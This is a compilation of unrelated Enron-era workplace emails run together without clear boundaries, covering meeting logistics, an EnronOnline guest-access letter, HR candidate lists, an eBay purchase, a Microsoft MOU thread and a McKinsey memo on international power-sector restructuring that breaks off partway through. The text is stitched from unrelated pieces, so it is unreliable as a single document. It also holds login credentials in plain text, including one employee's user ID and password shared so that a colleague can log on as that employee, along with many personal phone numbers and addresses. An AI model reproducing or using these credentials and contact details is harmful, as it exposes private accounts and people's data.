Subject: FCEL consent to disclosure letter

As requested, I went the abbreviated route.

Kay

                        ***** NEW LOCATION*****

Hello, Everyone -

This confirms the next meeting of the RTO West Regional Representatives
Group (RRG) for Friday, November 9, at the Kingstad Meeting Center, Room F.
The meeting will start at 8:30 a.m. and by 12:30 p.m. The Kingstad Meeting
Center is in the same building as the RTO West administrative office.  We
will meet in the same room we used for the PJM-LMP Congestion Management
briefing with Seabron Adamson and Andrew Ott on October 23.  Coffee,
pastries, and jiuce will be served.

The address of the Kingstad Center is 5933 NE Win Sivers Drive, and as most
of you know, it is located about three miles directly east of the Portland
airport.  Go about three miles east on Airport Way and take a right on Win
Sivers Drive and right again at the second driveway.  Parking will be
available in Kingstad marked spaces as well as overflow parking in the
Leatherman's lot across the street.  If you have any questions about the
logistics for the meeting, please call Judy Welch at (503) 262-9421.

Early next week I'll send out an agenda for the meeting.

Have a great weekend.

- Bud

Attention:  ESAI
     Ed Krapels
  =20
Thank you for your interest in EnronOnline.

The following is a guest password that will allow you temporary view only=
=20
access to EnronOnline.  Please note, the user ID and password are CASE=20
SENSITIVE.

Guest User ID:  ENA61296
Guest Password: WELCOME!

In order to apply for transaction status with EnronOnline, your company nee=
ds=20
to complete a Password Application and Registration Form for a Master User=
=20
account.  Each Master User will be able to grant various levels of access f=
or=20
additional users. =20

To obtain a Password Application and Registration Form, you can visit our=
=20
website at www.enrononline.com and select the =01&How to Register=018 link,=
 or call=20
our HelpDesk at 713/853-HELP (4357).   Alternatively, you may click on the=
=20
attached documents, complete the forms, and fax to 713-646-8511.

Just a reminder, in order to access EnronOnline, Shockwave needs to be=20
installed.  The Shockwave installer can be found within "About EnronOnline"=
=20
on the home page.  After opening "About EnronOnline", using right scroll ba=
r,=20
go to the bottom.  Click on "download Shockwave" and follow the directions.=
 =20
After loading Shockwave, shut down and reopen browser (i.e. Microsoft=20
Internet Explorer/Netscape).

We hope you will find that EnronOnline provides an easy and more efficient=
=20
way to do business with Enron. We look forward to transacting with you onli=
ne.

Danny Lee
EnronOnline HelpDesk
713/853-HELP (4357)

Our new office supply house is Boise Cascade, and we just got the capability to place an order.  We plan to radically scale down the supplies we previously kept in stock, but we will maintain a rudimentary supply of the basics.  

If you need an office supply that is not typically stocked or if you would like to see the catalog, please ask Mollie or me.

Dear Mr. Skilling:
Just a quick little note. I would very much like to talk to you when you get
a chance.  My guess is that you will probably be taking some time off for
awhile.  When you do have some time, please give me a call.  I specialize in
the finance(VC and Investment Banks) arena and would love to present someone
of your caliber to them.  That is of course, if you are interested in
possibly going into that arena.
Sincerely

Ed Vigil
Account Executive
Management Recruiters of the Sandias
toll-free (877) 292-9800 x23
www.nationalfinancejobs.com

GP is general partner in NB

REMINDER --

Opening comments start promptly at 8:00 a.m., so please allow plenty of time to arrive at the Houstonian, park and have breakfast.  The Houstonian is located at 111 North Post Oak Boulevard, phone 713-680-2626.  Our meeting will be held in the Cottonwood Room.

Dress code for the day is casual.

If you haven't turned in your presentation yet, please bring 20 copies to the meeting, 3-hole punched at the top.  You will also have to bring your presentation on a CD so I can load it on the laptop.

Tina Spiller
Assistant to Greg Piper
Chief Operating Officer
Office 713.853.5746
tina.spiller@enron.com

Dave Delainey has asked to have the following meeting arranged:

  Date:  Friday
    February 2, 2001

  Time:  10:30 am - 11:30 am

  Location: EB 3321

  Topic:  California Update

Please let me know if you have any questions or conflicts.

Thanks,

Kay   3-0643

Louise,

Louise,

I have worked with Sunjay to revise the presentation to reflect the changes made last time as well as to include some new candidates represented from our London office.  The breakout of meritocracy candidates is as follows:

8 Commercial Women  (does not include you, but currently includes myself - having a personal debate over being a poster child)
6 Commercial Support Women
10 Commercial Males - including more representation from London office
6 Commercial Support Men

Sunjay is going to contact the London office (but not use his HR channels - I have recommended that he call Marcello) to identify more International Meritocratic candidiates that are women. Assuming he identifies three women, I can drop myself as a meritocratic candidate.  : )

Sunjay understands that we are trying to identify a portfolio of candidates that represent a balance.  As such, he will continue to target other employees to further represent commercial support and specialized technical.

Please delete individuals as appropriate from attached presentation and forward back to Sunjay, with myself cc'd.

Regards, Mrha

From: 	Arya, Sunjay  
Sent:	Friday, September 14, 2001 2:07 PM
To:	Mrha, Jean
Cc:	Jones, Robert W.- HR Exec
Subject:	Meritocracy Project assistance

Hi Jean.
I just spoke with Robert, and apparently there were some people in this version of the presentation that were not supposed to be there.
I apologize.  I'm not sure how they re-appeared.
I want to make sure that this version is correct before i print 3 more copies.
So far, I have removed the following...

Coleen Sullivan-Shaklovitz
Mary Garcia
Connie Estrems
Shelly Corman
Tracy Geaconne
Jesus Melendrez
Benjamin Asante

Could you look it over, and let me know if it's correct, or if anyone else needs to be deleted (or added)?
Thanks,

Sunjay
x39315

Hi Pigs. ?I paid for this item. ?Love you.
-- 
---
Angelica M. Paez

From: John.Griffith@enron.com
Date: Tue, 16 Jan 2001 13:53:39 -0600
To: ampaez@earthlink.net
Subject: Re: eBay REVENGE 1990 Rare OOP CD New Order , Monaco Item #1401057823

Hey my sugar. ?Here is the ebay info. ?I will help you tonite. ?Love you.

The Pasta Bellied Piggy
---------------------- Forwarded by John Griffith/Corp/Enron on 01/16/2001
01:51 PM ---------------------------

Lawyer4428@aol.com on 01/06/2001 04:38:52 AM

To: ??john.griffith@enron.com
cc:

Subject: ?Re: eBay REVENGE 1990 Rare OOP CD New Order , Monaco Item
?????#1401057823

Note: Please reply to confirm your shipping address information and choice
of
shipping options. If you have won another CD please add $1.00 extra
(priority
or standard) for combined shipping (please read shipping details below).
International bidders please e-mail me.

REVENGE 1990 Rare OOP CD New Order , Monaco
Item #1401057823

??High bid: $9.99
??Please read below for shipping options.

Hello,

Congratulations! You are the winning bidder for the above listed auction
item(s). Please send Money Order or PayPal.com for $14.19 ($9.99 bid ?+
$4.20
2-3 days priority mail / shipping / handl! in! g / materials / packaging in
USA
only) or $12.49 ($9.99 bid + $2.50 5-7 days standard 4th class mail /
shipping / handling / materials / packaging in USA only), if you live
OUTSIDE
of the USA please use "www.bidpay.com" or send cash by registered mail
(Because U.S. banks are now charging $6 for processing of foreign money
orders, I must ask fo! r ! U.S. currency or an additional $6 included with
the
payment when paying with non U.S. money orders. This also includes Canada.)
and add $7.00 for s+h by airmail (Everywhere outside of the U.S.A.
International postage rates will increase on 01/07/01.) , if you want this
item to be sent insured (seller is not responsible if the item is lost)
please add $1.50 (in USA only) or add $8.00 (International insurance
outside
the USA) and mail to:

Roger Lin
P.O. BOX 373
Burlingame, CA 94011-0373
U.S.A.

Please REPLY and RESPOND with your shipping address info so I can start
prepacking your item. Failure to respond will result a delay in delivery.
Also please
write down the eBay iem # and description on a piece of paper or print out
this letter.

Please remember that Payment MUST arrive within 14 days (for US buyers) and
20 days (for international buyers) after the close of auction or Negative
Feedback will be posted. No exceptions, no excuses!

Roger (eBay id: sell.com)
e-mail: lawyer4428@aol.com

=============================================================
check it out.....
Rentmydvd.com Home
www.rentmydvd.com

Kay

I do have those sig pages.  Sorry about that -- I thought I had already given 
them to you.  I will bring them up to you this morning.

Regards,
Rebecca

Kay Mann
05/14/2001 05:39 PM
To: Rebecca Walker/NA/Enron@Enron
cc:  

Subject: Search for sigs

Hi Rebecca,

I'm trying to locate the sig pages for the NW guaranty.  These were the docs 
that I approved after I had approved the letter agreement.  These signed 
pages weren't with the letter agreements and change orders you brought me.  
To you remember if you brought them to me before?  I haven't really searched 
- I thought I would ask first.

Thanks,

Kay  

The 2001 environmental roundtable  has been confirmed  for the above location 
and dates.   Make your reservations at the Holiday Inn Crowne Plaza 
(505) 821-3333.  The hotel is located on the frontage road off I-25 north at 
the Paso del Norte exit.  Room rates are $89.00 per night.  A block of rooms 
is being held under "Enron Transportations Services-Environmental 
Roundtable".  The agenda for the roundtable is presented below:

Tuesday October 16th

  7:00-8:00 am  Contintental Breakfast.

  8:00-8:15 am  Welcome and Opening Remarks.

  8:15-8:45 am  Bill Kendrick, Director Environmental Affairs, ETS.

  8:45-9:15 am  Chad Ingalls, The Nature Conservancy (Station 2 Project).

  9:15-10:00 am  Ruth Jensen, Air Issues and Compliance. 

10:00-10:15 am  BREAK

10:15-11:15 am  Denise Celani Safety Kleen.  "What happens to your waste 
after we get it"

11:15-12:00 pm  Joe Lueras.  Envisions training and demonstration.

12:00-1:30 pm  LUNCH

  1:30-2:30 pm  Mike Riedel.  Emissions Inventories.

  2:30-2:45  pm  BREAK

  2:45-3:45 pm  Ruth Jensen.  Star Program

  3:45-4:30 pm  Larry Campbell. Rocky Mountain Elk Foundation.

  4:30-4:45 pm  Closing Remarks and Adjourn.

Wednesday October 17th

  8:30-12:00 pm  Surprise Exercise.

  1:30-3:00 pm  Larry Campbell.  Discussion of Surprise Exercise.

  3:00-3:15 pm  BREAK

  3:15-4:30 pm  Larry Campbell.  Mock Environmental Situations.

  4:30-4:45 pm  Questions and comments concerning roundtable.

  4:45 pm  Adjourn.

Looking forward to seeing you all and having a productive and interesting 
session.

Tina,
Attached is the Global Risk Management Operations update for the Philippe and 
Greg Weekly Report, for the week ending March 28.
Thanks,
Brian
x57677

We are in the process of confirming that all traders are set up correctly and ready to trade when the system goes live. 

We need to make sure that your Stack Managers are accessing the correct database. In order to do this, we need to know how you access Stack Manager:

1) Through Terminal Server (the one that opens up a desktop within a desktop and it actually appears that you have two Start buttons). 
or
2) By opening the Stack Manager directly from your "native" desktop.

Please reply to this message with either a corresponding "1" or a "2" in the subject field.

If you're not sure which one you have, please contact myself x39673, Teresa Mandola x39807 or Jennifer McQuade x53614 and we'll come by your desk to help you.

Thank you,

Dan Diamond

the party was fun.  it was good to see a lot of people i haven't seen in a 
long time.  i am just wiped out today.  i need a nap.

Colleagues:

URM positions as of June 2001 (more precisely as of end of May) are now 
available at the following level of details: 
The position (long, short, and net) in electric utility "x"
The position (long, short, and net) per customer in the electric utility "x".
The position (long, short, and net) per rate schedule/customer class in 
electric utility "x".
Aggregates of the above per State, NERC Region, and Customer.

If you need any position for a specific utility in your service territory, 
please contact Miyung Buster (713-853-4329) by email with cc to: Stella Chan, 
Pat Keene, Harry Kingerski, and/or Amr Ibrahim and we shall attempt to 
provide the data in the shortest possible time (currently aiming at within 
the same business day).  

AI  
713-853-3037

From: Shively, Hunter S. 
Sent: Friday, May 11, 2001 7:38 AM
To: Cuilla, Martin; Storey, Geoff; Lewis, Andrew H.; Ruscitti, Kevin;
Donohoe, Tom; Stevens, Kelli; Mims, Patrice L.; Williams, Jason
Subject: RealMoney.com Listen Closely Natural Gas Supplies Are Telling
You Something.htm

CALENDAR ENTRY:	APPOINTMENT

	Park & Ride Business on all Enron pipelines. Mike Bodnar will take the lead

Date:		2/13/2001
Time:		4:00 PM - 5:00 PM (Central Standard Time)

I can't figure out how to change it.  You can just log on as me:

p00406373

Password: enron001

thanks!

---------------------- Forwarded by David W Delainey/HOU/ECT on 05/11/2000 
02:28 PM ---------------------------

David W Delainey
05/11/2000 02:28 PM
To: Jere C Overdyke/HOU/ECT@ECT, John Thompson/LON/ECT@ECT
cc:  
Subject: Producer Insurance Targets

Gere, just following up on the offsite - have you all agreed on the target 
producer list for the insurance product?

How is the peaker product developing?

Regards
Delainey

Maryland, Florida, Kansas, St. Joseph's, and Kentucky.  All Top 10.  All lost.

DG

You are invited to attend a brown bag meeting on Thursday, May 17, where Tim Belden will be discussing the recent EES reorganization and how it will affect West Power Trading.

Date:   Thursday, May 17
Place:  Mt. Hood Conference Room
Time:  11:30 a.m.
Topic:  EES/West Power Trading

Corinna -

I have looked at the attached.  It is fine.  I will be printing two originals 
for Net Works' signature.  I'll have them sent down for signature so that 
they can then be sent to Microsoft.

Mark

	Corinna Bolender/ENRON@enronXgate
	05/31/2001 05:26 PM
		 
		 To: Mark Greenberg/NA/Enron@ENRON
		 cc: Charles Brewer/ENRON@enronXgate, John Opalko/ENRON@enronXgate, Jim 
Ogg/ENRON@enronXgate, Bob Ward/ENRON@enronXgate, 
jammo@microsoft.com@SMTP@enronXgate, schang@microsoft.com@SMTP@enronXgate, 
rpierce@microsoft.com@SMTP@enronXgate
		 Subject: FW: REVISED:  SQL 2000 SP1 JDP MOU

Mark,

Can you please review the changes made by Susan Chang at Microsoft to the SQL 
2000 SP1 JDP MOU for our Unify application.  Bob Ward is out of the office 
until June 4th, and this application is going into production on June 11th.  
We need to ensure the MOU is finalized and signed prior to going into 
production so that we can receive the appropriate support from Microsoft when 
we go live.

If you need to contact Susan her telephone number is 425-703-6394.  Her email 
is schang@microsoft.com.

Thanks for your immediate attention to this matter,
Corinna Bolender
Desk: 713-345-4388
Cell:   512-632-4285

From:  "James Morris" <jammo@microsoft.com>@ENRON 
[mailto:IMCEANOTES-+22James+20Morris+22+20+3Cjammo+40microsoft+2Ecom+3E+40ENRO
N@ENRON.com] 
Sent: Thursday, May 31, 2001 5:13 PM
To: Corinna Bolender; Bolender, Corinna; Ward, Bob
Subject: FW: REVISED:  SQL 2000 SP1 JDP MOU

Bob and Corinna,
Here are the versions of the MOU your lawyer will need to review.  As
expected, some of the items just did not make the bar to warrant a
change.  Specifically:
an actual date for the released product will not go on the MOU.
Customers who particpate in the JDP have a high degree of touch and
disclosure with MS.  Although we are glad to discuss dates and they draw
near with the customer we do not promise anything from the beginning
(though this hardly matters now considering the date).
The line in #4 that was cut and pasted to #17 has been placed back in
#4.  This is due to the placement of the topic in #4.  The rest of #17,
specifically stating that there is NO COST TO THE CUSTOMER has been left
in on #17, and I'll probably incorporate this for future use.  It is a
good addition.
#10 on Microsoft's section has been removed.  It is clearly rednundant
and not necessary.  We already say there is absolutely no cost to the
customer.

If this is agreeable (I have included the red lined version, so your
lawyers can review), the final version with those changes have also been
included.  Please print, sign and return.

Thanks!
JamMo!

From: Susan Chang (LCA)
Sent: Thursday, May 31, 2001 3:06 PM
To: James Morris
Cc: Susan Chang (LCA)
Subject: REVISED: SQL 2000 SP1 JDP MOU

James - per our phone call this afternoon, I've revised the MOU.
Attached is the redlined version as well as the final doc.  Please let
me know if you have any questions.

Susan

From: James Morris
Sent: Monday, May 14, 2001 3:35 PM
To: Susan Chang (LCA)
Subject: FW: SQL 2000 SP1 JDP MOU

Susan,
I would like to permanently modify our MOU to the following for our
Joint Development Programs.  It is redlined, so you can review the exact
changes.  This is actually from the customer, but I like what they
changed and added, I just want to be certain that it's not going to come
back and bite me later.  Roughly 4 or 5 sentenced.
Thanks for you help!

From: Ward, Bob [mailto:Bob.Ward@ENRON.com]
Sent: Tuesday, May 08, 2001 8:49 AM
Cc: Bolender, Corinna; Ogg, Jim
Subject: SQL 2000 SP1 JDP MOU

Hi, James.  I've attached a copy of the MOU which contains some minor
changes suggested by one of our attorneys.  Let me know what you think.
Thank you.

 <<JDP MOU 02-02-2001(microsoft- enroncomment5-1-01).doc>>

Bob Ward
Manager, IT - Development
ext. 54409

 - JDP MOU 02-02-2001(microsoft- enroncomment5-1-01).doc
 - SQL 2000 SP1 JDP MOU.doc

The EU summary is okay for someone wishing to get a quick overview.  A few 
errors, though.  Spanish pool is not mandatory.  If you own generation in the 
country, you may bypass the pool.  Denmark has more than two generators, as 
municipalities own a fair amount of generation.  Finally, the 
anti-competitive arrangements in place as "transitional" in The Netherlands 
are not touched upon at all.

Interesting omission of Poland from discussion of Central and Eastern Europe, 
as it is the most progressive of the countries from the former Communist 
sphere.   
thanks for sending this along.   mcs  

From: Steven J Kean@ENRON on 08/12/2000 08:18 CST
To: Mark Schroeder/LON/ECT@ECT, Richard Shapiro/NA/Enron@Enron, Elizabeth 
Linnell/NA/Enron@Enron
cc:  

Subject: 

----- Forwarded by Steven J Kean/NA/Enron on 12/08/2000 08:18 AM -----

	<Suzanne_Nimocks@mckinsey.com>
	12/07/2000 02:09 PM
		 
		 To: <skean@enron.com>
		 cc: 
		 Subject: 

I thought that you (or some of your colleagues) might find the attached
update on country by country restructuring to be helpful.
----- Forwarded by Suzanne Nimocks/HOU/NorthAmerica/MCKINSEY on 12/07/2000
01:30 PM -----
       Memorandum

    TO:        Adam Lewis
       Alberto Marchi
       Andrew Hertneky
       Andy Steinhubl
       Angela Kuster
       Anjan Asthana
       Antonio Puron
       Antonio Volpin
       Arne Germeyer
       Arturo Vernon
       Ashutosh Shastri
       B. Venki Venkateshwara
       Barbara Fletcher
       Barbara House
       Ben Joyce
       Bernard Minkow
       Bob Edwards
       Bob Felton
       Boris Galonske
       Brian Schofield
       Brian Tulloh
       Buford Alexander
       Carlo Yu
       Carlos Torres
       Carol B White
       Carolyn Loos
       Cecilia Bergman
       Charlie Taylor
       Christoph Brombacher
       Christoph Grobbel
       Claude Genereux
       Corinne Aigroz
       Csilla Ilkei
       Dalila Villar
       Daniel Poller
       Eileen Burnett-Kant
       Enrique de Leyva
       Eric Bartels
       Eric Hanlon
       Eric Lamarre
       Francis Hodsoll
       Franco Magnani
       Francois Lepicard
       Frank-Detlef Drake
       Frank Weigand
       Gerald Klenner
       German Dominguez
       Gerrit van Geyn
       GIANCARLO GHISLANZONI
       Gjermund _ydvin
       Glenn Payne
       Helen Warwick
       Hugo Baquerizo
       Humayun Tai
       Ignacio Quesada
       Intam Rinawati Dewi
       Ivo Bozon
       Jaap Kalkman
       Jan Christer Tryggestad
       Jason Hicks
       Jason Rabbino
       Javier San Felix
       Jeff Walker
       Jessica Ciccone
       Jessica O'Connor-Petts
       Jim Ayala
       Jim Bowen
       Jim Humrichouse
       Jim O'Reilly
       Jim Robb
       Joan Westmoreland
       Joelle Gatineau
       Jon Zagrodzky
       Jonathan Woetzel
       Jorge Fergie
       Jose Federico Castillo
       Jose Maria del Aguila
       Jourik Migom
       Jud Morrison
       Judith Lezaun
       Judy Wade
       Karel Tutein Nolthenius
       Keith . Leslie
       Kelly Kienzle
       Ken Ostrowski
       Kristina Kalinova
       Jyoti Suri
       Lar Bradshaw
       Leonardo Senni
       Leonhard Birnbaum
       Les Silverman
       Linda Mansfield
       Lisa Schwallie
       Luca D'Agnese
       Luis Troyano
       Marcelino Susas
       Marina Ospina
       Mark Ellis
       Marko Schulz
       Marla Aizenshtat
       Matt Rogers
       Menno van Dijk
       Michael Linders
       Michael Morcos
       Mike Juden
       Mike Terry
       Miriam Alvarez
       Nicolas Borges
       Olga Perkovic
       Pablo Toja
       Pankaj Jain
       Pascale Michaud
       Patricia Miller
       Paul Jansen
       Paul Kolter
       Paul LeBrun
       Paul Parfomak
       Pawel Konieczniak
       Per Lekander
       Peter Bisson
       Peter Sidebottom
       Pierre-Yves Ouillet
       Pierre-Yves Roussel
       Pru Sheppard
       Rob Latoff
       Robert Palter
       Robert Samek
       Rodrigo Rubio
       Rogene McCoy
       Roger Abravanel
       Ron Bloemers
       Ruggero Jenna
       Rui De Sousa
       Sally Lindsay
       Scott Andre
       Scott Graham
       Sesha Narayan
       Simon Lowth
       Suzanne Nimocks
       Tera Allas
       Thomas-Olivier Leautier
       Thomas Read
       Thomas R"thel
       Thomas Seitz
       Thomas Vahlenkamp
       Tim Bleakley
       Tommy Inglesby
       Tony Perkins
       Trudy Scott
       Tsun-yan Hsieh
       Valentina Grifo
       Vitaly Negulayev
       Walter Wintersteller
       Yann Duchesne
       Zander Arkin
      CC:
    BCC:

   FROM:   Carol B White
       EU - EPNG R&I
      DATE:    December 6, 2000

       Power sector restructuring: international activity, June - November
       2000

      This  mailing is a periodic update of the status of international
      electric power sector privatization and restructuring.

      Privatizations and restructuring activity continue apace.
      Governments faced with burgeoning power demands, but lacking the
      funds to meet them, are nearly universally opening their generation
      markets to foreign investors, even where privatization is not on the
      agenda.  More and more, state-owned utilities are unbundling.
      Competition is being introduced into national markets at both the
      wholesale and retail levels.  A few international players have scaled
      back their international investments and shifted substantial portions
      of their portfolio to less risky markets, such as the U.S. or Europe.
      Competition in Europe has been spurred by the EU Directive.  As Asian
      economies recover, most governments are starting to move forward
      again with unbundling / restructuring plans.  After a year in which
      currency devaluations caused a number of early investors to exit
      Latin America, a healthier economy has allowed privatizations to
      restart, but at a slower pace.

      This mailing summarizes recent developments in Europe, Asia-Pacific,
      Latin America, and the Middle East / Africa. Maps that summarize the
      status of restructuring in Europe, Asia, Latin America, and Africa
      and the Middle East are attached as Exhibits 1-4.  A slippery slope
      is Exhibit 5.  Timelines showing the opening of markets in various
      countries, by region, are in Exhibits 6-8.

      (See attached file: Intlmail 3 exhibits.ppt)

      February '99 marked the opening of the market to choice for most
      large EU customers who use over 40 GWh a year.  This accounts for
      about a fourth of demand.  As of "E-Day", neither France nor Italy
      had passed their proposed enabling legislation.  While the EU
      intended for the transmission operator to be independent, EDF intends
      to retain control over the grid, as will ENEL.  A phased deregulation
      of the gas industry began to unfold in similar fashion beginning in
      August 2000.

      Mergers, alliances, and consolidation are a dominant theme as
      companies jockey for position in the new European power market.
      There is a tremendous opportunity for international players to cross
      borders: as suppliers of new generation, as purchasers of assets
      being spun off by liberalization decrees (Italy) or because of market
      concentration rulings in mergers (Germany, Spain). Several
      international companies have opened trading offices in Europe, or  (
      Enron, Reliant, Southern, TXU).  HoustonStreet.com launched a
      European online wholesale energy-trading platform.

           ?  Austria:  Austria's liberalizing market is facing problems
              from within and without.  The EU is dissatisfied with its
              lack of G-T-D unbundling, although accounts were formally
              separated in 1999.  There is no ISO.  Internally, there is
              intense discussion about an accelerated market opening
              (customers over 20 GWh now have choice). Regional utilities
              are angry over the Verbund's proposal to open 100% of the
              market in late 2001. The Verbund, a 51% SOU, is the largest
              generator and owns the transmission grid. However, it has no
              retail customers and hence is strongly exposed to already
              deregulated wholesale customers. (C.B. White, Judith Lezaun)

           ?  Denmark: The 1999 liberalization law exceeds the EU
              directive's goals and establishes full retail access by 2003.
              Choice was phased in for large industrials using more than
              100 GWh in 1997;  the threshold dropped in April '00 more
              than 10 GWh; the next threshold drops to 1GWh at the end of
              2000. The new law includes unbundling of distribution
              activity and regulated TPA. Denmark has recently experienced
              a consolidation wave in generation that leaves the sector
              with 2 large incumbents. The trend is moving downstream into
              distribution and supply. Western Denmark is already part of
              the Nordic power exchange NordPool and East Denmark is due to
              join by the end of 2000. Energy policy aims at twenty percent
              of electricity sales would come from renewables by the end of
              2003, up from a current 10%. (Cecilia Bergman)

           ?  Finland: Finland has been fully open to choice since
              September 1998, when a metering requirement was dropped.
              Prices immediately dropped, but only about 2-3% of households
              have switched supplier. Finland forms part of the Nordic
              power exchange NordPool. The regulator monitors distribution
              tariffs and a rTPA regime is in place. In November '98, the
              Finnish government launched an IPO for 20% of Fortum, the
              holding company for the merger of utility Imatran Voima Oy
              and oil and gas company Neste Oy. The Finnish government
              expects to lower its ownership further. The largest new
              entrant in the market is Swedish Vattenfall, with its
              acquisitions of distributors and some generation capacity.
              Further M&A in the distribution and supply sector is
              expected. (Cecilia Bergman)

           ?  France: There was irony in France's push for liberalization
              as it assumed its six-month EU presidency.    France passed
              its electricity law last February, a year after required by
              EU directive, but had 30-odd implementation decrees stalled
              in the National Assembly.  However, EDF, which still controls
              more than 95% of French generation, realized Brussels would
              hinder its foreign ambitions if its domestic market remained
              closed. It recently convinced French authorities to open up
              34% of the market by the end of 2000 instead of 2003,
              lowering the eligibility threshold to 9 GWh/year (from 16
              GWh). EDF is also aware that its monopoly prevents it from
              easily entering the energy services market  -- leading EDF to
              promote a "relatively rapid" total opening of the French
              market. (Corinne Aigroz, White)

           ?   Germany:  While the Electricity Law was officially effective
              in April '98, real competition is still impeded by
              complicated TPA grid access conditions, especially on the
              retail market. A group of new entrants has organized to call
              for a governmental regulator.  Some recent studies have shown
              the cost of electricity so low on some bills as to indicate a
              "massive cross-subsidization between network operations and
              marketing." Recent charges have been made of obstacles to
              competition by a mulitiplicity of fees, including customer
              switching charges and supplier entrants registration levies.
              In the last 12 months, M&A among big national and
              international utilities has redrawn the German utility
              landscape: EDF bought a share in EnBW, Veba / Viag merged to
              form EON and RWE/VEW merged into RWE. Furthermore, RWE and
              EON must sell their stakes in VEAG due to antitrust
              authority.  Currently, several utilities are and battling for
              control of East German VEAG, whose transmission connections
              make it a portal to Eastern Europe.  (Judith Lezaun, White)

           ?  Greece: According to the FT, Greece has "hired a consultant"
              (us) to produce a 5-year plan for state utility PPC.  PPC is
              preparing an IPO for 15-20% of the company, theoretically set
              for 2001, but likely later.  Greece has been given until 2001
              by the EU to conform to the Directive. An IEA report
              suggested two major swift changes to the energy sector
              structure.  First, the government should create a clearer
              separation between itself and the state-owned PPC, including
              a separate regulatory agency.  Second, the government should
              consider splitting the PPC into competing generators to
              maximize competition, as well as improving market access
              conditions for IPPs and cogenerators.  As the country's
              largest employer, PPC is not likely to effect these changes
              quickly. (White, Thomas Read)

           ?  Ireland: Supply competition was introduced in February '00
              for customers over 4 GWh (28% of the market).  Opening is
              scheduled to increase to 32% in 2003, with further
              liberalisation in 2006.  No date for mid-market and full
              retail opening has been set.   Incumbent ESB plans to split
              off its transmission business, which will remain state-owned.
              Competition in generation will be introduced in 2002 with the
              auctioning of ESB capacity, which is intended to create at
              least two new players.  Independent power production has been
              allowed for two years now. (Ben Joyce)

           ?  Italy:  Italy approved its market deregulation decree in
              March '99; in some measures, it goes beyond the EU Directive.
              ENEL had dominated 80% of generation; by 2003, no entity can
              control more than 50%, or 30% by 2005.  This requires that
              ENEL sell between 15GW and 22GW of its 57GW by 2003.  It has
              separated G-T-D into separate legal entities and been 34.5%
              privatized.  A second tranche should take place in 2001.  A
              pool mechanism should be operating by 2001.  Consortia of
              industrials using more 30GWh/year can contract directly with
              IPPs; by 2002, the threshold will be 9GWh/ year. The
              potential free market currently amounts to 80 TWh a year, or
              30% of total demand.  This will increase to 40% in 2002.
              ENEL, who has a de facto monopoly on T&D, will retain
              ownership of the national grid assets; a separate state-run
              ISO, GRTN, will run transmission and dispatching.  A pool
              mechanism, operated by a GRTN subsidiary, should be operating
              by 2001; in the meantime, the market uses bilateral
              contracts. (Valentina Grifo, White)

           ?  Netherlands:  By June '00 three of the four large generation
              companies had been sold to foreign energy groups.
              Competition for large industrial users began in August '98.
              Large industrials (33% of the market) can currently choose
              their supplier.  By 2002, 58% of the market will be
              competitive, and in 2004, there will be full customer choice.
              The Amsterdam Power Exchange, modeled along Scandinavian
              lines, was launched in May '99.  The APX allows players to
              trade power over the Internet on an hourly basis for the next
              day.  In April '00, it added day-ahead prices at border
              points for Germany, although it is not yet much used; if
              successful, Belgium would follow. In October '00, the
              government agreed to buy the entire high voltage network,
              TenneT, from the four generation companies for $99.1 million.
              Their goal was to improve the supply market and to increase
              real competition. (White, Karel Tutein Nolthenius)

           ?  Norway:  Norway opened up to retail access in one fell swoop
              in 1991. "Real" retail access got started in 1995 when the
              meter requirement was abolished; switching got started in
              1997 when a switching fee was canceled.  The current
              accumulated switching rate lies at 14%. Distribution tariffs
              are regulated and transparent according to rTPA. Norway forms
              part of NordPool. (Cecilia Bergman)

           ?  Portugal: Portugal brought new regulations into force in
              January '99.  They include a price-cap system for determining
              tariffs and the creation of two coexisting supply systems:
              public and independent.  Each is locked into supplying the
              national grid (REN), a regulated and EdP-owned monopoly.
              Producers within the independent system can currently supply
              eligible customers who consume more than 9GWh/year at a
              single site.  The country's four discos may purchase up to 8%
              of consumption outside the public system.  Portugal's
              regulator, ERSE, needs either to extend the eligible
              customers or raise the allowed percent for discos in order to
              reach the percents required by the Directive.  The government
              sold another stake of 20% of state-owned Electricidade de
              Portugal in October '00, following two successful offerings
              in '97 and '98.   This offering raised $1.34 billion.  The
              state retains 32.6% and "golden share" voting rights. (Rui de
              Sousa)

           ?  Spain: After several major Latin American purchases, Endesa
              moved to restructure and consolidate at home, announcing in
              October '00 the merger with Iberdrola.  The resulting company
              would have 80% of the market, so it would be forced to shed
              generation and distribution assets.  It would also create the
              world's 4th largest utility, by market cap. There is also
              movement with the smaller two players.

              The Spanish regulator is applying an eligibility schedule
              faster than the minimum requirements of the EU Directive
              providing for full market opening by January 2003. Several
              foreign players are already authorized to supply eligible
              consumers and there are new generation capacity additions
              announced by some of the large international. Nearly 60% of
              the market can now choose its supplier.  A mandatory pool
              with a bidding system started in Jan '98. (White, Dominguez)

           ?   Sweden: Deregulation was introduced in January '96 with full
              retail access to all customer groups, rTPA and unbundling of
              distribution activities. However, switching was impeded by a
              meter requirement that was abolished in November '99.
              Switching is currently at 10% but with renegotiated contracts
              the figure is more like 25%. Sweden forms part of NordPool, a
              "common electricity market", a forum for physical and
              financial exchanges. Alongside NordPool is a bilateral market
              and an OTC market for financial trading. Consolidation has
              occurred in the distribution sector mainly and the generation
              market is concentrated in the hands of 3 large actors.
              (Cecilia Bergman)

           ?  Switzerland: In October '00, Parliament passed an electricity
              market law.  The first phase of the liberalization should
              start in 2001 granting choice to large industrials (> 20
              GWh); the mid-size market will open in 2004 (> 10 GWh). In
              2007, the law envisions a fully open market. Some aspects of
              the new law, such as the transmission tariff model, are still
              being discussed. (Chris Brombacher, White)

           ?  UK: With market deregulation complete (full choice since May
              1999), the UK market is now settling into a phase of supply
              consolidation.  Seven of the 12 RECs in England & Wales are
              now in joint ownership.  In the generation market, the
              incumbent's share continues to decline: National Power and
              PowerGen have divested further capacity, and now stand at
              8.5% and 6.7%.

              The New Electricity Trading Arrangements for wholesaling have
              been postponed to early 2001.  They will allow for a futures
              and forwards market to trade alongside the established spot
              market.  Markets will be run by independent members, although
              the balancing and settlement mechanism will be run by a
              system operator as before.  A bilateral power exchange will
              also be put in, and is expected to handle a much larger
              demand than the spot market. (Ben Joyce)

      In Central and Eastern Europe, privatization initiatives are
      continuing to attract badly needed capital, while the IMF urges
      reforms as a condition for funding.  Countries that are looking to EU
      membership have moved forward with power sector restructuring and
      gradual opening of their markets to choice.

           ?  Bulgaria: In January, the Energy Agency announced its intent
              to unbundle the state monopoly, NEK, into separate G-T-D
              companies.  NEK will remain a single buyer; 28 distribution
              entities have been merged into seven new companies.  The
              unions are opposing rapid reform, claiming the necessary
